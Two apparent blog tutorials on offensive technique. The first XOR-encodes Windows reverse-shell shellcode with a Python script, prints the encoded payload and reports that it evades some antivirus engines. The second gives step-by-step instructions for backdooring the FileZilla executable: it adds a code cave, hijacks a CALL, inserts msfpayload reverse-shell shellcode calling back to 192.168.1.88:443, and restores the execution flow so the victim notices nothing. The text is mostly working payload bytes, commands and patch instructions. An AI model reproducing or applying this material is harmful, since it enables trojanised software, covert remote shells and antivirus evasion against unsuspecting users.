shellcode = ("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\xc0\xa8\x01\x58\x66\x68\x01\xbb\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

i = 11
for x in bytearray(shellcode) :

	if  i == 16:
		i = 11
	y = x^i
	encoded += '\\x'
	encoded += '%02x' % y

	encoded2 += '0x'
	encoded2 += '%02x,' %y
	
	i = i + 0x01

print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

So right now we have our 287 bytes length payload encoded:

0xf7,0x66,0xe6,0x43,0xe7,0xf2,0xf3,0xf2,0xf1,0x6f,0x80,0x60,0x29,0x2a,0x84,0x4e,0x30,0x86,0x72,0x0a,0x73,0x0d,0xe2,0x85,0x40,0x13,0x87,0x52,0x2e,0x0e,0xe0,0x45,0x86,0x3a,0x84,0x0a,0xe2,0x3c,0xce,0x96,0xa7,0x88,0xcd,0x7a,0x08,0xca,0xc6,0x00,0x0f,0xcd,0xe0,0xf8,0x36,0x5a,0x2b,0x23,0x79,0xe8,0x85,0x50,0x2f,0x0d,0xe6,0x68,0x84,0x07,0x47,0x86,0x51,0x13,0x0a,0xe7,0x0e,0x22,0x84,0x82,0x60,0x29,0x12,0x6e,0xc8,0x3d,0xd6,0x6a,0x84,0x48,0x3c,0x86,0x4e,0x03,0x80,0x7c,0x11,0xa3,0x84,0x4b,0x04,0x53,0x66,0x81,0x45,0x02,0xe1,0x5e,0xf0,0xdd,0x6a,0x5e,0x68,0x67,0x38,0x3e,0x65,0x79,0x7c,0x39,0x53,0x59,0xf1,0xdf,0x63,0xc7,0xe0,0xf2,0x34,0x5b,0xf3,0xdb,0x51,0x86,0xee,0x6a,0x8c,0xe3,0x07,0x09,0x59,0x67,0x0c,0xf0,0xdb,0x64,0xd4,0x07,0xfa,0xa6,0x5b,0xf2,0xd8,0x5c,0x58,0x5f,0x5e,0x4d,0x5c,0x48,0x5f,0xf2,0xde,0x67,0xcb,0xa4,0x0c,0x56,0x69,0x63,0x0d,0xb6,0x68,0x5c,0x82,0xed,0x98,0x66,0xe3,0xf2,0xa6,0x6d,0x59,0xf0,0xdd,0x66,0x1d,0x5f,0x5a,0xf4,0xdc,0x6b,0x64,0x6b,0x6d,0x64,0x6e,0x63,0x65,0x5b,0x55,0x24,0xc2,0x86,0xec,0x66,0x49,0x87,0xed,0x3a,0xcc,0xfe,0xa4,0x9a,0x82,0xf1,0xf3,0x4c,0x22,0xf5,0x4e,0x21,0x83,0x75,0x33,0xa7,0xa6,0xa5,0x67,0x79,0xf2,0xbe,0x18,0xf0,0x7e,0x24,0xf2,0xd8,0x54,0x5c,0x5e,0x5c,0x5f,0x5e,0x61,0x0d,0x5c,0x5f,0x5a,0x5a,0xf3,0xdd,0x66,0xa2,0xd2,0x09,0xc3,0x5d,0xf0,0xdd,0x66,0xf2,0xf1,0x38,0xf4,0xdc,0x65,0xe9,0x76,0xcd,0x75,0xf2,0x7b,0x0b,0xf4,0xda,0xf2,0x79,0xf3,0xf4,0xdc,0x65,0xfe,0x85,0x0f,0x53,0x5e,0xf1,0xd9,0xf4,0xdc

For the following step we are going to need an Assembly compiler, I used Flat Assembler. You can download it here:

https://xavibel.com/tools/fasmw17312.zip

We use our Assembly decoder to compile the code and verify that everything works fine:

If you are curious about how my decoder works, you can find more information about it in this post:

The following step is to extract the opcodes of the binary that we generated with objdump. Notice that I’ve used sed command to remove the “\x” symbols so we can copy this inside Olly.

Now that everything it’s ready and we verified that it works, we can copy the shellcode inside the binary.

In the image below you can see that I have placed our shellcode right after the snapshot of the registers and the flags.

Now we need to restore the execution flow after the shellcode. The first thing that we need to recover is the ESP value. We can’t hard-code the ESP value because the ASLR protection is present. So we have to find a relation between the actual value of ESP and the value in the moment that we saved the registers.

This is the process that you need to follow to do that:

We place a breakpoint and after the PUSHFD instruction and save the value of ESP that is:

0022FF84

Then we place another breakpoint after of the last instruction of our shellcode and we save again the value of ESP:

0022FEE0

So we have to rest the second value to the first one:

22FF84 - 22FEE0 = A4

So the instruction that we need to do is:

ADD ESP, 0A4

We step into the next instruction and we verify that the ESP value it’s 22FF84 again. As you can see here we restored the ESP value correctly:

Now it’s moment to recover the flags and the registers.

POPFD
POPAD

Just after this, we need to put the instruction that we erased:

CALL 0x00401020

And after that a JMP to the instruction that is just below the instruction that we deleted:

JMP 0x00401123

We save the changes and we are ready to execute the file.

Our Multiple keys XOR decoder it’s working! πŸ™‚

We check the AV detection rate in VirusTotal and we can see that we managed to bypass some AV’s. Not a bad result for this small decoder.

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Backdoor inside a Windows Binary

Hello everyone!  In this post I’m going to explain how to backdoor a Windows binary with a reverse shell, but feel free to use the shellcode that you prefer.

I’ve chosen FileZilla FTP server version 3.8.0 for this example. The purpose of this exercise is to embed inside the FileZilla exe or the dll’s a malicious payload that opens a reverse shell connection without breaking the normal execution of the FTP client.

To be able to modify the binary we are going to need some tools. One is LordPE, you can download it from here:

https://xavibel.com/tools/lordpe.zip

Our malicious code, is going to be saved inside a Code Cave that is going to be placed at the very end of the binary.

If you are interested in Code Caves and reversing take a look to this article:

https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves

We can try to find a Code Cave manually or with tools like Cave Miner:

https://github.com/Antonin-Deniau/cave_miner

For this example and to keep it simple, we are going to create one.

To do that we have to open the binary with LordPE

And click in edit the last section that is named: “.rsrc”. We are going to add 1000 bytes in VirtualSize and 1000 bytes in RawSize.

After we have to edit the flags, and mark this section as: “Executable as code”.

Now we need a hex editor named XVI32:

https://xavibel.com/tools/xvi32.zip

We open the file with the hex editor, and add 1000 bytes at the very end of the file.

Then the binary it’s prepared to start working. Let’s open it with our favorite debugger.

Our purpose is to locate the Code Cave that we have already created. One method to do that is to check the Memory in the debugger.

We placed our code cave in the section .rsrc that starts in memory address 00C3D000. That section had a virtual size of 1149c and after all this bytes is our code cave waiting for us.

Let’s do the math:

C3D000 + 1149C = C4E49C

So the memory address that we are looking for is:

0x00C4E49C

Let’s verify that it’s correct:

We can see that in that memory address is full of nulls, so we were right:

Now it’s the moment to locate where we can place the Jmp to our cave. The first thing that we can see it’s the CALL filezilla 0xaddress instruction. It seems that is the correct instruction to overwrite without breaking the code execution.

Let ‘s change the CALL 0x00401020 for a JMP 0x0x00C4E49C (The start of our Code Cave)

We verify that our JMP works fine:

Here we are going to do the following things: Execute a shell and return the execution to the normal flow of the program.

But if here we just put our shell, we are going to lose the actual state of the registers and the flags. Our shell will execute but FileZilla won’t. So before doing anything we have to save the registers and flag status

To do that we have to do two instructions:

pushad
pushfd

Now we need to generate our shellcode. I’m going to use an old msfpayload because the latest version of msfvenom right now has a bug in exitfunc and it’s not working fine.

root@kali:~/Documents/Tools/Shellcode# /usr/share/framework2/msfpayload win32_reverse LHOST=192.168.1.88 LPORT=443 EXITFUNC=none C | sed 's/\\x//g' | awk -F '"' '{print$2}' | sed ':a;N;$!ba;s/\n/ /g' | sed 's/\ //g'
fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd65353535343534353ffd068c0a80158666801bb665389e19568ecf9aa6057ffd66a105155ffd0666a646668636d6a505929cc89e76a4489e231c0f3aa9589fdfe422dfe422c8d7a38ababab6872feb316ff7528ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd068e779c679ff7504ffd6ff77fcffd068f08a045f53ffd6ffd0

We have placed our shellcode right after the copy that we did of the registers and the flags.

But before saving the changes, we are going to made a small change in the code, and modify the following PUSH -1:

This is a variable of a WaitSingleObject kernel function, that causes a problem in this particular case, we have to change it for a PUSH 0 or the FTP it’s not going to start until we close the shell.

Our shell is in the correct place, after it, we have to restore the execution flow. The first thing that we need to recover is the ESP value. We can’t hardcode it because of the ASLR memory protection, so we have to find the relation between the last value of ESP.

We put a breakpoint just after the PUSHFD instruction and save the value of ESP:

0022FF84

Then we put a second breakpoint after of the last instruction of our shellcode and we save again the value of ESP:

0022FEE4

So we have to rest the second value to the first one:

22FF84 - 22FEE0 = A0

So the instruction that we need to do is:

ADD ESP, 0A0

We verify that we recover the value that we want of ESP, you can see it in the image below:

Now it’s moment to recover the flags, and after the registers. We execute:

popfd
popad

Just after this, we need to put the instruction that we erased:

CALL 0x00401020

And after that a JMP to the instruction that is just below the instruction that we deleted:

JMP 0x00401123

We save the changes, and we execute the FileZilla, the program opens normally and we get our shell πŸ™‚

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